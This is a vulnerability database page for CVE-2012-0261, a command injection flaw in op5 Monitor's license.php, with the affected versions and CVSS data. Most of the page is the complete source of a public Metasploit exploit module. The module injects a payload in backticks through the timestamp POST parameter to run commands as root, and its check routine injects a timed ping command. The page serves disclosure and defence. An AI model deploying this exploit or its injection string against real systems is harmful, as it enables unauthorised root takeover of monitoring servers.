CVE-2012-0261

critical
Published 2013-12-31 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

license.php in system-portal before 1.6.2 in op5 Monitor and op5 Appliance before 5.5.3 allows remote attackers to execute arbitrary commands via shell metacharacters in the timestamp parameter for an install action.

Predictions

Exploit likelihood
20%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41686 webapps multiple verified ruby ยท 3 KB
Metasploit ยท 2015-01-25

OP5 5.3.5/5.4.0/5.4.2/5.5.0/5.5.1 - 'license.php' Remote Command Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'OP5 license.php Remote Command Execution',
      'Description' => %q{
        This module exploits an arbitrary root command execution vulnerability in the
        OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5,
        5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
      },
      'Author'     => [ 'Peter Osterberg <j[at]vel.nu>' ],
      'License'    => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2012-0261'],
          ['OSVDB', '78064'],
          ['URL', 'http://secunia.com/advisories/47417/'],
        ],
      'Privileged' => true,
      'Payload'    =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'BadChars'    => '`\\|',
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'perl ruby python',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Jan 05 2012',
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]),
        ], self.class)
  end

  def check
    vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
    vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    # Try running/timing 'ping localhost' to determine is system is vulnerable
    start = Time.now

    data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install';
    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI']),
      'method'  => 'POST',
      'proto'   => 'HTTPS',
      'data'    => data,
      'headers' =>
      {
        'Connection'     => 'close',
      }
    }, 25)
    elapsed = Time.now - start
    if elapsed >= 5
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install';

    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI']),
      'method'  => 'POST',
      'proto'   => 'HTTPS',
      'data'    => data,
      'headers' =>
      {
        'Connection'     => 'close',
      }
    }, 25)

    if(not res)
      if session_created?
        print_status("Session created, enjoy!")
      else
        print_error("No response from the server")
      end
      return
    end
  end
end

Metasploit modules

OP5 license.php Remote Command Execution
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Application impact

VendorProductVersionsFixed
op5monitor{"endIncluding":"5.5.1"}
op5monitor5.3.5
op5monitor5.4.0
op5monitor5.4.2
op5monitor5.5.0
op5system-portal{"endIncluding":"1.6.1"}

References

CWEs

CWE-94

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